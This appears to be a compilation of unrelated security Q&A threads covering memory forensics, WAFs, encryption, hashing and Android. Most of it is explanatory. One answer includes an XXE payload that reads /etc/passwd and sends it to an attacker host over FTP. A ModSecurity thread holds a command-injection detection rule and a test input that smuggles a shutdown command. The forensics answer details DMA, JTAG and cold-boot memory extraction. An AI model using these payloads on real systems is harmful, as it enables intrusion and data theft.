How can a user defeat anti-live forensics software? Let's say I have a computer with full disk encryption which is logged and running, but I suspect it has anti-forensics software (eg. usbkill), which means that I risk compromising the integrity of the data with one of the following actions:

inserting a USB/SD card
downloading/uploading from internet
not executing a specific action each X hours (a dead man's switch)

What do you think is the best course of action in order to perform forensic analysis on it? If there is no good way to perform it, what do you think is the best approximation?

There are many ways to compromise a running computer if you have physical access. How likely it is that you will be able to obtain the level of access you need depends on several factors, including your resources, the level of skill of the defender, and the amount of time you have available. You haven't provided much information about your target, so this answer will be fairly general but will assume they are fairly sophisticated and have a good understanding of the x86 architecture and hardware security. Specifically, it would be helpful if you provided more information on the following:

Is the target using COTS (Commercial Off-The-Shelf) hardware, or is it custom?
Are there physical security measures in place, like chassis intrusion detection?
What is your budget? Can you pay for custom attack hardware?
Are you willing to sign an NDA with Intel to use their JTAG SDK?
Is the memory acquisition done on-scene, or in a dedicated laboratory?
Do you prefer higher risk of detection, or higher risk of data corruption?

All of these points, especially the ones about the target's particular choice of hardware, can help narrow down exactly what the optimal strategy is. Otherwise the answer will be broad. The worst-case scenario is that the target has a deep understanding of the x86 architecture and has developed a sophisticated solution similar to vCage, reducing the TCB to that of the CPU itself and mitigating virtually all physical attacks. This would require novel acquisition methods to be created.

Below are some general classes of memory acquisition attacks against x86 hardware.
IEEE 1149.1
The "best" course of action would be to use the IEEE 1149.1 protocol, aka JTAG. This is a debugging protocol which puts a processor into probe mode. From there it can be halted, registers can be read or modified (including the instruction pointer), addresses in memory can be read or modified, etc. There is generally no defense from a JTAG attack short of destruction of the physical JTAG header (XDP) on the motherboard. A JTAG attack for Intel motherboards requires an expensive probe. Newer systems support DCI, which allows JTAG debugging to be performed over USB. Many BIOSes will disable DCI support, requiring a fallback to the expensive alternative.
Bus mastering
PCIe devices natively support hotplugging and have in their configuration space a two-byte command register. Bit 2 is bus master enable which, when set, allows the device to perform DMA requests to read and write to generally arbitrary locations in memory. While the PCIe device cannot set this bit on its own, all it has to do is convince the operating system that it requires a driver which does grant it DMA abilities. At that point you can read or write to arbitrary locations in memory. Note that some systems will use DMA Remapping, or DMAR, which can restrict the locations of memory you can access (though this might not be enough to mitigate such attacks, and some older systems have a broken IOMMU). If this is the case, or if you expect the system is further hardened to detect the insertion of new DMA-capable devices, then it may not be fruitful to attempt to use a PCIe device for DMA. DMA is among the most commonly used for memory acquisition.
Cold boot attacks
There are two types of cold boot attacks. You can either reboot the system into another bootloader which then reads memory, or you can physically remove (and optionally freeze) the memory modules and transfer them to a system under your control. This cannot generally be detected unless you attempt to freeze the memory while it is still under control of the target computer, but it risks large amounts of data loss if done improperly. Modern memory (DDR3 and DDR4) also uses a feature called memory scrambling to reduce excessive electrical interference. The scrambling seed is very weak as it uses an LFSR, but it still requires at least basic cryptanalysis to break. There is an additional benefit to the cold boot attack, though, which is that the memory acquisition is atomic, leaving no memory smear. I wrote more about this in another answer.
Attacking TRESOR
TRESOR is a kernel patch for Linux which does encryption entirely outside of memory, mitigating cold boot attacks and passive DMA. The keys are kept only in the CPU's x86 debug registers, and key material never enters memory (except during an NMI or SMI). Defeating TRESOR requires the ability to write to memory. The most effective way to do this is to modify the IDT, triggering the execution of custom code in supervisor mode at the next interrupt. This code can be used to read the debug registers. This attack is described in more detail in another paper. Your target may not use this particular mitigation, or they may have developed their own using any number of innovative techniques. You should know as much as possible about your target before interacting with their machine.

Let's assume five different skill levels of the defender in order to approximate what attack vector would be ideal. These will be simplifications and the proper course of action should be to learn more about the target before attempting any risky procedures.

No skills at all. The target knows effectively nothing about hardware security. They may run antivirus software and lock their computer when they leave, but that's about it. Any of the above techniques are liable to work. The average person may fit into this category.

Low skill-level. The target has a very limited understanding of hardware security. They are capable of finding and running pre-written defensive software. They are using unmodified consumer hardware and likely do not check if DMAR is enabled. In this case, a DMA attack would easily be the most effective. Plugging in a PCIe device could make it possible to read memory. A security-conscious power user may fall into this category.

Moderate skill-level. The target has a good understanding of hardware security. Their computer may have some basic modifications made to it, such as epoxy resin blocking sensitive ports. They may be able to write basic defensive software for a variety of attacks. DMAR is likely supported and correctly enforced, making DMA attacks impractical. The system may or may not react defensively when a new PCIe device is attached. In this case, a JTAG attack would be most effective. If TRESOR is not in use, a cold boot attack may do. A particularly clever amateur security researcher may fall into this category.

High skill-level. The target has a deep understanding of hardware security and may have access to unreleased or confidential documents from their hardware manufacturer. Their system is either heavily modified, or completely customized. Intrusion detection may include cameras inside or near the chassis. Individual sensitive chips, traces, and buses may be encased in anti-tamper epoxy. JTAG headers could be physically destroyed or wired to alert the system to an attack. Attacking a system operated in this way requires in-depth knowledge of the target, a fair amount of custom hardware, and novel attacks. An employee for a large security contractor for a government working on sensitive data may fall into this category.

Nation-state skill-level. The target has resources on par with a nation-state. The chipset itself is likely designed in-house and manufactured in a secure, on-site fab by a contractor. Every component is part of this target's own supply chain. Custom defense mechanisms are likely enforced, all the way down to the microscopic level (e.g. sophisticated chip-off protection mechanisms). Physical destruction (and black bagging) may occur if tampering is detected. The device is completely shielded from RFI/EMI leakage. Cryptographic modules may be certified with at minimum FIPS 140-2 level 4, and software running on the machine is likely to be at least partially formally verified and tested up to EAL7+. A highly-sensitive and well-funded branch of an FVEY or SSEUR member may fall into this category.


Working of WAF/IDS/IPS payload normalization schemes? I want to know how WAF/IDS/IPS deals with Payload Transformations. Such payload transformations may be

base64Encode
html EntityDecode
url Encode
Remove whitespaces

I want to know how WAF/IDS/IPS deals with payload transformation Pipelines. Such as when multiple/different payload transformation are performed on the payload. Whats WAF/IDS/IPD inherent behavior to deal with such transformation i.e. how many time "URL-decode" is performed for  triple URL encoded string (' or 1=1 --). More ever if different different Payload transformation are applied then what will be the behavior of WAF/IPS/IDS?

That will depend on the WAF product.

However, if the string is double encoded, it will only be of risk to the application if it performs double decoding. That's an edge case. So I can imagine that most WAFs won't do multiple decodings.

You could test this for free by setting up mod_security by the way.


ModSecurity Command Injection not working I am testing web application firewall and I have installed ModSecurity 2.9  runs Core ModSecurity Rule Set ver.2.2.9   and to test on Web application I also install DVWA  Platform: Windows
and trying to do Command Inject and it allows even if  I included rules for command inject
modsecurity_crs_40_generic_attacks.conf
all other rules for SQLinject,XSS etc  works fine .

the Rule for Command Inject is as follows

 SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i)(?:;|\{|\||\|\||&|&&|\n|\r|`)\s*[\(,@\'\"\s]*(?:[\w'\"\./]+/|[\\\\'\"\^]*\w[\\\\'\"\^]*:.*\\\\|[\^\.\w '\"/\\\\]*\\\\)?[\"\^]*(?:\.[\"\^]*\w+)?\b" \
        "phase:2,rev:'2',ver:'OWASP_CRS/2.2.9',maturity:'9',accuracy:'8',capture,t:none,t:normalisePath,ctl:auditLogParts=+E,block,msg:'System Command Injection',id:'950907',tag:'OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION',tag:'WASCTC/WASC-31',tag:'OWASP_TOP_10/A1',tag:'PCI/6.5.2',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION-%{matched_var_name}=%{tx.0},skipAfter:END_COMMAND_INJECTION1"

SecMarker END_COMMAND_INJECTION1

I want to know what can be done so that if I inject a command  127.0.0.1 & shutdown /l or anything after "&" in textbox  the ModSecurity must redirect to 403 error page .
I have read similar post and solutions if I try my apache server will crash .

Your rule set (2.2.9) is "bit" old, you should use a newer version (actually 3.3).
I don't understand your question exactly "what can be done if I inject...".
As you can see, the operator is the @rx, and it has an argument. The list of variables contains the ARGS, so I guess your form contains an input field, what will evaluated as an argument (member of ARGS). Here I tried to demonstrate how this rule checks your request.
If your rule doesn't triggered, then it means the comparison (your input field with the operator argument) doesn't match, or the engine isn't turned on.
So, please check your SecRuleEngine setting, it must be on On.
My 2 cents: may be the rule misses the t:urlDecode transformation, because if you sent the character &, I assume your browser will send it as encoded form.


Firefox pretending to update itself, but actually not doing it, and thus being a risk for security - what am I missing? I am a long-time Firefox user and remember that usually the UAC prompt popped up when Firefox updated itself. Some months ago (or is it years?), Firefox obviously changed the way it updates itself: I didn't see the UAC prompt since then in such situations. The updates were performed as expected, though. So far, so good.
Several weeks ago, I decided to lock down my systems further. One of the most important steps involved was to remove the user account I normally work with from the Administrators group. That had less impact than I had expected (and hence was the right step which I would recommend to everyone), but it led to an interesting problem with Firefox:
Firefox offers updates for itself as usual via popup at the right top of its window. When I click "Update" in that popup (the blue button), it pretends to do something, and even the new page where the improvements are listed or further features are advertised opens as usual.
However, the "update" runs surprisingly fast, and I am not asked to restart Firefox afterwards. Consequently, Firefox is not being updated during the process. I am considering this a sensational security breach, and it does throw a bad light onto Firefox development and quality management.
Steps to reproduce:

Install a three-month old version of Firefox as administrator
Use Firefox in a user account which is not in the Administrators group
Wait until Firefox offers an update
Accept the offer, i.e. click on the blue button "Update"
Observe that Firefox pretends to update itself and even opens a new page in a new tab which advertises Firefox's advantages or the new features (this is the point where a normal user believes to have installed the newest version and to be safe)
Restart Firefox and observe that it did not perform the update, e.g. via Help -> About Firefox (which shows that it is still the old version which is installed)

I am asking myself whether I should trust Firefox any more given that they are not even able to implement the most important, yet most simple, security mechanism correctly, i.e. the update mechanism. Even worse, it doesn't fail with an appropriate error message, but pretends to have done the update, where in fact it didn't, misleading non-expert users and putting them seriously at risk.
Did I misunderstand something? What am I missing?
Update #1
In the comments, Moshe Katz has pointed out that the Mozilla Maintenance Service must run to enable updates as a non-administrator. I knew that this service had been installed (I remembered it from the installation where it asked for it), but checked again and was surprised that it was installed, but it was not running, and its startup type was set to Manual.
I made myself administrator, changed the startup type to Automatic and tried to start the service. This led to a dialog box with the following error message:
Windows could not start the Mozilla Maintenance Service service on Local Computer.

Error 1: Incorrect function

Obviously, my Firefox installation somehow got screwed, and I can't start the Maintenance Service. I'll now try to reinstall only the maintenance service; if this is not possible, I'll reinstall Firefox.

As far as I know Firefox updates when you close and restart the browser.
What happens normally for me is that I download the FF update when it proposes this in the browser. When done with my browsing session I close FF and restart it. Then you should see a window with a loading bar displaying FF being updated. When that is done, it launches the browser with the message of the new version.


How to implement Anti-CSRF method? I have created a ASP.NET project and I want to implement Anti-CSRF method in my project. How to do that?

The basic idea is to include a secure random token with ever request such that it cannot be guessed before hand by an attacker.

OWASP recommends you use :-

  We recommend token based CSRF defense (either stateful/stateless) as a
  primary defense to mitigate CSRF in your applications. Only for highly
  sensitive operations, we also recommend a user interaction based
  protection (either re-authentication/one-time token, detailed in
  section 6.5) along with token based mitigation.

It goes into detail here

You also mention it's a .net application.ASP.NET core already already has in-built protection.The details of which are here


How to implement a workable Encryption Key Lifecycle If encryption keys should have a lifecycle of generated, distributed, stored, replaced, deleted. How do I decrypt data that was encrypted with Key0 when I am now using Key1, or Key2?

I am referring to encrypted data at rest held in a mongoDB database.

While there is no generalized solution, there are a few ideas on how to do that, based on what part of trust you're willing to give to the system:

decouple access keys from storage keys (store with random keys, which then are encrypted with access keys). make the system wrap new storage keys in your public key/identity-bound key for you to access. you trust the system to be honest and supplying new storage keys only to you.
trust re-keying software (one of nice ideas is to have compaction cycle in your DB, which removes obsolete records and re-keys everything, defragmenting your storage and updating every record sequentially) to have additional key to use at re-keying/compaction cycle.
trust the system to regenerate new keys and supply them to you over trusted channel (e.g. system signs every new storage key and sends it to you).
safely derive new key from old one with user being present with his private key for interactive protocol, in which parties (db and user) will derive new storage secret. requires online presence and being able to run key derivation protocol, which is only computationally cheaper than re-crypting everythign from key0 to key1 yourself.


Client Side Encryption When Storing Data on a Server and Accessing From Multiple Devices Assuming;

You're using HTTPS to encrypt data in transit
You're using server side encryption to encrypt data at rest
You want an ever growing amount of security for data
You want to store data centrally on a server
You want to access data from multiple different devices

While this is a great model, this naturally does end up in the situation whereby your data could still be decrypted should an unauthorised person get access to the server as the encryption key will be sat on there in one form or another.

This is one of the biggest weaknesses of server side encryption.

Then you look at client side encryption, which resolves this issue, yet brings up another issue which is around how you decouple the security from the device itself. For example when dealing with accessing via multiple devices, and/or, dealing with when your device breaks etc.

Is there a security model / design pattern that deals with these two challenges to offer maximum security?

The two obvious options are -

Client side encryption with an exportable key. The key can be backed up at creation somewhere the owner views as secure. Alternatively it can be encrypted with a user provided password and uploaded to the service - providing this additional password on client install allows additional devices to decrypt the key.
Client side encryption with a key derived from a passphrase. Similar to the model above with key encryption and upload except no key data needs to be stored on the remote server.

*Both of the above (assuming password encryption for the first) can be achieved with a single passphrase. An unsalted hash of the password is taken and used for the encryption passphrase. This is then hashed again before being passed to the server for authentication. The downside would be for password change all data would have to be downloaded, reencrypted and reuploaded.


Security of passphrase-protected private key If an attacker obtains a private key that was created with no passphrase, he obviously gains access to everything protected with that key. How secure are private keys set up with a passphrase? If an attacker steals a passphrase-protected key, how hard it is to compromise the key? In other words, is a private key with a good passphrase secure even if accessed by an attacker?

With OpenSSL, OpenSSH and GPG/PGP the wrapping algorithm will be strong enough that you don't need to worry about it (and if you do need to worry about it then you have bigger problems, and this is the least of your worries).

Like any password or passphrase, it depends on the strength of the passphrase. A 40 character passphrase is as hard to brute force as a 256-bit key (since ASCII only uses 7 bits). The same rules for strong passwords apply here:

Random is better
Longer is stronger


Counting on firewalls only : sound security strategy to prevent intrusion? I had this discussion with a friend of mine who is a windows sysadmin. He said to me that for his company's IT security, he is doing only updates on the windows server.

But except these system updates that prevent any code injection and are not related to intrusion itself, he is only counting on firewalls capacities to prevent intrusion.

So far, he did not have any massive intrusion from the outside world from what I know (or maybe he is good at shielding info from me, although I doubt).

My question is the following: Is it a sound strategy to rely on firewalls to prevent intrusion? From my early experiences, to have a DMZ or a proxy or one of the other is a must...

Any insights are more than welcomed

Cheers

This is definitely not enough. Avoiding the huge discussion of differences between traditional firewalls, next-gen firewalls, and web application firewalls (WAF) none of these devices offer 100% protection. I'd go so far as to say even if you had all of them (which your friend probably doesn't) there will always be a decent number of well known attacks that can easily reach your applications and databases. Add to that the number of WAF-bypass tools and attacks against any application customizations or business logic and your friends strategy looks really ugly. Attacks are definitely getting through your friends defenses, he/she just has no way to see them.


need network level security alternatives to a VPN We have a set of servers hosted at a tier-1 provider, and they are currently behind a VPN running on a gateway machine and not accessible to the open internet.  Due to VPN instability issues we've been having, we're looking at other options.  Can someone provide ideas on how we can maintain protection at the network level -- people attacking the OS, the web server, the web framework, etc.  Please note that we have users in various physical locations without static IP addresses that need to access this via both office and home internet service.  Thank you! -Ron

Get a better VPN.  You don't say specifically what you are trying to do, but if a VPN is needed, then a VPN is needed.  VPN isn't a particular solution, it is a class of solution.  It is designed to make a secure, private network over an open network.  You can use any of a number of different types of VPNs to implement that functionality.

If you don't actually need a full VPN functionality, you will have to give more details about what you actually need to be able to do.


Can a rogue client bypass the Wi-Fi Access Point? Let's assume that one client contains malware, and that it belongs to a Wi-Fi network protected with WPA2/Personal (hence, via a password known to the piece of malware), where some other vulnerable clients are present.

I can activate some filtering or other security measures in the Wi-Fi Access Point, so that any malicious traffic from the rogue device is blocked.

Still, I understand that the rogue device is theoretically able with some sniffing to figure out the unique key (PTK) any other client in the network shares with the AP.

With that key, can the rogue device try attack (e.g. probe for vulnerabilities) the other devices, fully bypassing the AP? How does that scenario look like?

Can't comment yet, but I'd say it really depends on what filtering/security measures you're activating, and when you're doing it.

Getting the WiFi key, one a user as been infected is pretty easy. I would go for some ARP Broadcast to detect every other terminals and try to monitor their activities and perhaps detect some vulnerabilities, and scan the open ports on the router.

The most viable solution would be to simply block the MAC Adress of the rogue device on the WiFi or router but if it has detected other devices and perhaps open ports, it still could access it from outside the local network.


Domain fronting through browser context I am interested to see if it's possible to have domain fronting through a web browser, using any of its components (e.g. javascript) which can be utilized by the user.

For example, i've tried through javascript and XMLHttpRequest, but it's not possible to set the Host header due to "security reasons".

Are there any other potential ways to issue http requests?

Maybe some other header that is used by the CDNs to route traffic other than the Host header?

Thanks

This is essentially not domain fronting, domain fronting is when you use a legitimate domain like a public CDN to send messages, but they are afterwards redirected to you.

If a website has the same origin policy set to allow everything you can use XMLHttpRequest from the victims browser to access those resources. You can't set things like Host headers and cookies.

A good starting point regarding this is BeEf framework.
https://github.com/beefproject/beef


Our logs showing a lot of SSH brute force attacks originating on Port 11 this forum has been brilliant so far. Just wondering if I can get a bit more help:

Can I get some info on a large amount of SSH brute force attacks originating from port 11 on the external host over the past 1 month

Now I know that port number can be faked, but if it isn't, what possibly could be causing this? I've looked for some tools that use port 11, but no joy

If you have any ideas on what it is, or how I can get more info, I'll be extremely grateful

Source port numbers are normally chosen at random so as not to interfere with servers listening on "well-known" ports. If machine A is a client to machine B (e.g. B is your SSH server), then the kernel on A will normally choose a random free "high" port, because if it chooses port N, then this will prevent any potential connection from B to a server running on A and bound on port N.

However it is trivial to choose a specific source port; it is a matter of a simple bind() call prior to the connect(). For port values which are lower than 1024, on Unix systems, this requires root privileges, but we can assume that the attacker is root on his own machine. Why would an attacker do that ? Probably to fool badly-written firewall rules. Some sysadmins simply allow packets with low port values on the (mistaken) assumption that a low port can only be on the server side of a connection.

For the record, port 11 is for the systat service, an old-style way for sysadmins to gather some runtime system information on their machines.


Is single iteration SHA-256 safe enough for hashing 128bit random number API keys? I implemented this kind of authentication for my REST API, is this secure and is my logic sound?

I am primarily curious about the SHA-256 hash & iterations = 1 aspect. I have omitted some details and explanations about the other aspects to keep this question simpler and more focused.

authentication is based on API keys
API key is a 128 bit random number generated with Java UUID.randomUUID(). For example 9885e3dd-b584-45d1-a0f0-3295b0ea4324
API key itself is not persisted. API key hashes are stored in database
I store SHA-256 hash of the key. I do one iteration of that:

private static final int ITERATIONS = 1;
private static final String ALGORITHM = "SHA-256";

private byte[] digest(byte[] value) {
    MessageDigest messageDigest = createDigest(ALGORITHM);
    for (int i = 0; i < ITERATIONS; i++) {
        value = messageDigest.digest(value);
    }
    return value;
}

There is no salting involved. Best practices suggest using salting - and bcrypt - to store password hashes. As far as I understand, this is to make rainbow attacks and dictionary attacks unfeasible, and slow down brute force attacks. I decided to use SHA-256 since it is faster and I could not find real justifications for using the slower bcrypt in our use case.

Since I am not hashing a password, but a 128 bit random number, rainbow attacks and dictionary attacks are not relevant. Correct? There is only brute forcing.

My current understand is that brute force cracking a 128 bit key from it's hash is not possible. I am not a hard core crypto expert, I am basing this on posts like this (which actually reduce hashing to a flip of single logic gate to make the calculations) https://crypto.stackexchange.com/a/1148 Hence there is no need for adding extra slowness to the equation, it is already "slow enough".

With this, I concluded that none of the reasons for using bcrypt really apply to my specific use case.

Are these deductions correct and is using single iteration of SHA-256 as api key hashing for persisting the key hashes safe (enough)?

You are correct in saying that the size and randomness of an API key negates the use of a password hashing function. 128 bits generated by a CSPRNG should be fine to store with a single SHA-256 hash.

The biggest problem with API keys is different from passwords since they are not reused across sites and cannot easily be brute forced. Usually the biggest problem is leaking the keys from the client applications themselves (or the protocol).

Here are a number of things to watch out for, only the 2nd relates to the key size:

show the key only once at generation time (easy, you've already decided you're not storing it in plaintext)
have a way for users to identify API keys. This could be by showing the first (or last) X characters. This means you need to store these X characters and might want to consider those visible bits as "known" by an attacker
have various scopes (permissions) you can attach to an API key to limit the damage of one key being leaked. Discourage (or disallow) the use of "do everything" scopes
rate limit requests using the same key and attempt to rate-limit wrong key uses by IP address (that gets tricky but it's a reasonably easy step to take)
transmission of API keys is tricky with many options when going over https, choose carefully (and of course TLS is required)

PS: with all that said, you can easily go with 256 bit keys and a more compact encoding than hexadecimal if you're concerned about length. eg: 256 bits in base64 is 43 characters.


With private keys and public keys which is used for which: encrypt, sign, verify, and decrypt? I understand the functions of PGP key-pairs as:

Public key is used to encrypt files so only the private key holder can read them
Private key is used to decrypt files that were encrypted using the associated public key
Private key is used to sign files so that it can be verified the file could have only come from the private key holder
Public key is used to verify a file signed with the associated public key

That makes sense to me. In all those cases the private key is unique to only a single entity and the public key can be used by anyone.

This comes into question because in Kleopatra, the File menu options are organized with the following:

Decrypt/verify files...
Sign/encrypt files...

This confuses me because based on my understanding of the 4 functions above, the two options would be organized with the private key functions together (decrypt/sign) and vice versa for pub key (encrypt/verify).

Am I misunderstanding the relationship between signing/verifying and the parts of the key-pair, or do I just have different intuition about U/I than Kleopatra's designers?

Decrypt/verify would be used on a received file; use your private key to decrypt, and the sender's public key to verify their signature.

Sign/encrypt would be used when preparing a file to send to someone else, using your private key to sign and their public key to encrypt it.


What are the risks associated with storing sensitive information inside of an encrypted container on a system without FDE? Are there risks that are specific to working with an encrypted container on a system that does not have full disk encryption? Could programs running outside of that container cache or store parts of this sensitive information in a non-secure location?

I would say the biggest practical risk would be that a 'store my password' 'remember me' etc. option would be set. If this were done without FDE, an attacker could simply (with physical access) change the password for the account with the stored encryption key.

Any programs running on the system with sufficient privileges could take what they want regardless of FDE (e.g. a keylogger would just wait until you typed the encryption key/pw)

Applications running without sufficient privileges shouldn't be able to read memory outside of their own processes, but this relies on the OS and sandboxing not being exploitable. Also, temporarily decrypted data shouldn't be stored anywhere someone else could get to it (usually stays in memory). But that would depend on how the encryption software was written (use third-party-vetted software).

FDE is designed to stop offline (someone pulls your HDD out of the machine) attacks. If you're worried about the applications running on your system, that is not a system you should be using, or at least not using to handle sensitive data.


As "Head of IT" is it reasonable not to have access to Email or backup management as could contain sensitive information I work for a medium sized company of around 100 people or so - and I am employed to be Head of IT responsible for backups, security, sorting out technical issues, among other things etc etc.

However I have had my Office365 Exchange admin rights and backup access removed by the company directors on grounds that I "could access sensitive personnel information". (Something I have never or would not do)

I feel like this means they do not trust me, and that I cannot do my job properly (Like setting up new users on backups, or setting up Emails) because of it and I have to go via a director.

This is also the reason why they will not have a domain network as it means I would have access to everything and I would be the only one who knows how to sort a problem out if things went wrong.
Instead they have local standalone machines in a workgroup which everyone has their own PC as a local administrator which in my head is a horrible security nightmare as I cannot do any overall management for updates, security, virus checking, application installation, checking for rogue devices on the network etc etc.

Do you guys think this is a reasonable thing to do?

This seems borderline insane.
There's two major issues that seem to be overlooked by company directors:

Business continuity planning/disaster recovery
Role based access controls

Without somebody having admin rights to the Exchange server, how are backups even supposed to take place?  Is every user responsible for making their own email backups and keeping them safe in case they need to be restored?  For that matter, given that there's no domain network, how are workstations supposed to be centrally backed up/restored in case of failure?  Each machine becomes a single point of failure and any critical documents on them could be lost forever if something goes wrong.

Secondly, putting every workstation in a homegroup is asking for improper data access.  With each user being the sole administrator of their workstation, they essentially own whatever data resides on it.  There would be nothing stopping them from giving access to other employees, regardless if those employees are supposed to have access or not.  This could have huge legal ramifications depending on the type of business your company conducts and may be worth bringing up to the legal department.

Lastly, with each user being the master of their own workstations, keeping each network at a minimum security level will basically be impossible.  Any antivirus or data loss prevention software could simply be disabled or removed by the user, not to mention all the potentially malicious software they may end up installing on their own.  If any machine ends up compromised, it would likely be compromised with full administrator access on a network with no standardized access controls and no guaranteed backups or recovery options.  Basically, a theft/damage/ransom nightmare (or paradise, depending on perspective).


determine X.509 certificate class I am very familiar with OpenPGP but don't even use X.509 / S/MIME. I know that there are several classes for certificates (from email check to personal ID check). I would like to know how you determine the class of a certificate.

Is this information part of the CA signature? Or is that an organuzational feature only, using different root certificates for different classes? I noticed that one CA has different root certificates which have the class number in their name. Is there a real attribute for a root certificate which tells the user the class?

Certificate "class" is essentially a marketing terminology. Each CA is free to call some of the certificates "class 0" or "class 1" or whatever, roughly meaning "I issued that but I did not bother to check" or "this time I did some checks because the owner paid me enough for that".

Theoretically, as per X.509 rules, the "class" should be encoded in the certificate as a Certificate Policies extension: the CA can put there some OID which designate the set of procedures applied for the issuance of the certificate. However, these OID are CA-specific, and can be understood only by having a look at the Certification Practice Statement, a legal-looking document that may or may not be referenced from the CP extension, and is usually a 200-pages PDF file that cannot be digested by a computer, only by a human being (or a lawyer).

Recently, some commercial CA and browser vendors have reached some agreement about Extended Validation certificates, which can be thought of as "upper class" certificates (certificates where the CA actually applied some care in the process), and are indeed identified by their CP extensions. Yet the identification is still made relatively to a big list of "EV-compliant policy OID" that clients (Web browser) somehow know in advance (it is maintained by the browser vendors).


XXE OOB Large File Extraction Most of examples for extracting files through XXE OOB (Out of Band) sets up a listening HTTP server and listens to incoming request on the URL requested. However, since the URL length is limited to something like 2048, how would you extract larger files through this method, or other OOB methods? Is it possible to perform POST request through XXE OOB?

That's a really interesting question, and one that is often overlooked when discussing XXE, where the typical PoC is exfiltrating the /etc/passwd file. According to one source, "Very Large files such as /dev/random and /dev/zero either can’t be retrieved or lead to Denial of Service. This is DoS via XXE." So I think the short answer is since there isn't any logic or script that exists to break up the requests, it's not possible to send a large file over a HTTP GET request without issues. However, it seems like if you are willing to look at some other protocols, you can exfiltrate larger files using FTP.
Instead of making an HTTP request, you could always try making an FTP request with an example like the following:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://attacker.com:2222/?data=%data;'>">

Then assuming that you have a listening FTP server then you can pull the data out that way. (More information about this method can be found here) The listed guide also explains how you can steal hashes using the SMB protocol too with responder. Of course, the big drawback here is working with other protocols is trying to get those other ports past the firewall, as HTTP and even DNS is typically allowed which make them ideal.


uploading photos to cloud from an infected device My computer is infected with Malware and (shame on me) of course I didn't back up my photos or word docs. I also happen to know almost NOTHING about computers. Is it possible to upload photos to cloud now without spreading the virus/malware infection or not worth the risk? external hard drive an option?

It's always possible that any files on an infected machine are infected themselves, but I'd say that image files are a less common target for malware.

One approach would be to upload them to a cloud service and then make sure that you scan them with an A-V solution when you re-download them.

Whether it's worth the risk to you will depend on how much you want the pictures :)


Why is it possible to bypass Android full disk encryption? If you look up how to bypass the Android lock screen, there seems to be endless examples.

plug the phone into your PC, use ADB (Android debugging tools), disable the lock screen
forgot password option can get some recovery code sent to your email
"Emergency Call trick" was a bug in specific versions of Android that crashed the lock screen and let you into an encrypted device. how???
etc

I'm sure there's limitations to those examples, but still, none of this is possible at all if the drive was actually encrypted. What's going on? I'm very confused. How do I encrypt my Android device so it's actually encrypted and worthless without the key?

You seem to be confusing two different security features that are intended to protect against two different types of attacks.
The three attacks you mentioned are to bypass the lock screen of the phone, and have nothing at all to do with encryption. They also only work in a specific set of circumstances.
Among other limitations:

The phone must be already booted up. In order to do anything useful, the phone's OS needs access to the disk and therefore it must have the decryption key loaded in memory. Several of these types of attacks will not usually work against a phone that has only just been booted up but not yet unlocked for the first time after booting.
The phone may have a bug. In your third example, bypassing the lock screen could only happen because someone made a mistake. Programmers are human too and they make mistakes. It sometimes happens that mistakes allow a security bypass.
You have chosen to deliberately reduce security. In order to use your first example, the device owner must have enabled debug mode. This is not an easy thing to do - there are deliberately multiple complex steps that must be taken to enable it. You also need to allow each specific computer to use ADB, so this attack can only be done from a computer that the phone was previously connected to. Or, in your second example, you as the device owner have deliberately enabled a bypass of your security, trading it for convenience in case you get locked out of your device.

So what does device encryption do for you?
Device encryption protects your data from being accessed from outside the OS.

An attacker cannot reboot your device into "recovery mode" or de-solder the flash chip from the motherboard to read your data.
Every time your phone is rebooted (not just turning off the screen; only a full reboot), you must unlock it once before any data can be accessed. This is because Android encrypts the disk encryption key using your password/PIN/pattern, and the OS cannot access your data until that first unlock. (One way you can see this easily is if you reboot your device, then leave it locked and have a friend call you. Even though the friend is in your contacts, the caller ID will only show their number, not their name, because their name is stored on the not-yet-unlocked encrypted storage.)

If you want to add another layer of protection, some Android devices will allow you to add a password to the disk encryption. This adds an additional password prompt while the phone is booting up, and the phone will not boot until you have entered the password. However, unless you are afraid of nation-state level attacks against your phone and you plan to always keep your phone powered off and only turn it on when you need it, it is highly unlikely to be worth the trouble to set this password. (Again, remember the difference between disk encryption and the lock screen.)


Are multiple bcrypt iterations useful? How do those two ways of hashing compare, security-wise ?

bcrypt(15, bcrypt(15, bcrypt(15, bcrypt(15, "password"))))

bcrypt(15, "password")

I know that, usually, iterating on one hashing method doesn't make it more secure, but when an attacker finds the plaintext of the first bcrypt, isn't this plaintext another bcrypt hash which he has to bruteforce again, and this as much times as there are iterations?

BCrypt was well designed, and there was much thought put into its operation. There is a special setting included called Work Factor intended to add work when the attacker tries to crack the password.

These two solutions take the same amount of time to compute.

bcrypt(15, bcrypt(15, bcrypt(15, bcrypt(15, "password"))))

bcrypt(17, "password")

(work factor 16 takes twice as long as 15, and 17 takes four times as long as 15)

There is nothing gain in complicating your code process. Just choose the ideal work factor. I usually suggest adjusting the work factor so that it takes ~100ms to complete (with appropriate brute DoS protection) on your target hardware. (noting that attacker hardware would probably be faster)

If you are looking for ways to improve on this, I would suggest pre-pending Pepper in front of the password. Pepper is simply a random string that is not stored with the hash itself. You can either hard-code the pepper in your application, or save it in a separated text file. (not in the database) I recommend using a pepper with 72-bits of entropy. (12 Base64 characters, or 18 hex characters)

Since BCrypt has a max-length of 55-56 bytes, it may be wise to first run an SHA-256 hash on the Pepper and the Password, to achieve a consistent 32 character hex string, which fits nicely in BCrypt. (otherwise, supposing you used a 12 character pepper, any characters beyond a 43 byte password would be truncated) Thanks @Walfrat.


Is it possible to recover wannacry encrypted files through file system recovery? As I saw wannacry encrypts files and then removes them, I thought it is possible to recover some of the original files by file system recovery using a bootable OS.

Is it possible to use a bootable recovery OS to recover wannacry encrypted files?

The short answer is no.
There is some analysis on ransomwaree back then. Ransomware indeed think ahead of undelete tools.

Perhaps you mistaken it with system run under virtual machine (e.g. VM snapshot)  ; intrusion monitoring system (that also take snapshot of the machine state or files from time to time, like tripwire, OSSEC); version control system, etc.


